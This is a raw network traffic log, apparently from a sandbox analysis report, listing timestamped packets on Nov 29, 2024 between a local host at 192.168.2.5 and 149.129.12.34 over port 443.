Nov 29, 2024 15:45:54.246812105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.246828079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.246887922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.246905088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.246969938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.249119997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.421567917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.421591043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.421672106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.421683073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.421844006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.426513910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.426529884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.426585913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.426594019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.426639080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.431925058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.431941032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.432012081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.432019949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.432080030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.437479019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.437494993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.437575102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.437582016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.437623978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.443094969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.443111897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.443176031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.443183899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.443217993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.448276043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.448292017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.448374987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.448383093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.448427916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.449480057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.452001095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.452018023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.452070951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.452079058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.452121973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.457220078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.458122015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.458137989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.458183050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.458190918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.458214045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.458228111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.481864929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.629791975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.629812002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.629903078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.629925013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.629966021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.634941101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.634957075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.635004044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.635010958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.635055065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.640500069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.640516996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.640562057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.640569925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.640613079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.645423889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.645440102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.645497084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.645504951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.645544052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.651057005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.651072025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.651127100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.651134014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.651174068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.656150103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.656169891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.656209946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.656218052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.656236887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.656251907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.661619902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.661636114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.661689997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.661696911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.661734104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.666929960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.667274952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.667290926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.667340040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.667349100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.667391062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.703468084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.840555906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.840576887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.840657949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.840668917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.840718031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.845530987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.845549107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.845622063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.845630884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.845670938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.850996971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.851012945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.851068974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.851075888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.851116896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.856534958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.856550932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.856612921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.856621027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.856671095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.861349106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.861366034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.861433029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.861440897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.861525059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.867362976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.867379904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.867449999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.867461920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.867508888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.872178078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.872195005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.872255087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.872262955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.872306108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.873676062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.877727032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.877743006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.877804995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.877813101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:54.877852917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:54.891813993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.050657034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.050676107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.050822020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.050833941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.050951004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.056168079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.056183100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.056255102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.056262970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.056308985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.061698914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.061717987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.061769962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.061778069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.061824083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.067229986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.067245960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.067302942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.067317009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.067367077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.072145939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.072161913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.072221041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.072228909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.072269917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.077383041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.077399015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.077460051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.077481985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.077519894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.082483053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.082895994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.082911968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.082983971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.083000898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.083045006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.085853100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.088392973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.088408947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.088463068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.088474035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.088555098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.095706940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.310836077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.310852051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.310914040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.310996056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.311017036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.311077118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.316307068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.316325903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.316397905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.316405058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.316447973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.321808100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.321830988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.321897030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.321904898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.321944952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.326706886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.326724052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.326781988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.326790094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.326834917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.332303047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.332318068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.332389116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.332398891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.332438946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.337502003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.337518930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.337584019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.337591887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.337635040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.343023062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.343039989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.343108892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.343116999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.343158007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.348480940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.348701954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.348718882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.348776102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.348783016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.348820925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.384373903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.521857023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.521876097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.521962881 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.521970987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.522013903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.526829004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.526845932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.526917934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.526926994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.526972055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.532315969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.532332897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.532402039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.532409906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.532450914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.537800074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.537813902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.537877083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.537884951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.537928104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.543380022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.543417931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.543467045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.543474913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.543524027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.548562050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.548577070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.548635006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.548643112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.548681021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.554148912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.554164886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.554224968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.554231882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.554271936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.559020996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.559036016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.559087992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.559093952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.559139013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.732495070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.732517004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.732599974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.732609987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.732652903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.737643957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.737658978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.737698078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.737704992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.737734079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.737762928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.743303061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.743324041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.743360043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.743366957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.743402958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.748109102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.748125076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.748157978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.748164892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.748210907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.753629923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.753644943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.753693104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.753700972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.753741026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.758899927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.758914948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.758968115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.758975029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.759016991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.764379025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.764398098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.764444113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.764451027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.764489889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.769943953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.769961119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.769996881 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.770004988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.770039082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.770054102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.943185091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.943213940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.943320990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.943334103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.943381071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.948016882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.948036909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.948122025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.948129892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.948168039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.953619957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.953638077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.953742027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.953749895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.953784943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.959053993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.959069967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.959129095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.959136963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.959176064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.964004040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.964025974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.964078903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.964086056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.964128971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.969827890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.969847918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.969896078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.969903946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.969943047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.974740028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.974756002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.974832058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.974838972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.974879026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.980323076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.980338097 CET	443	49704	149.129.12.34	192.168.2.5
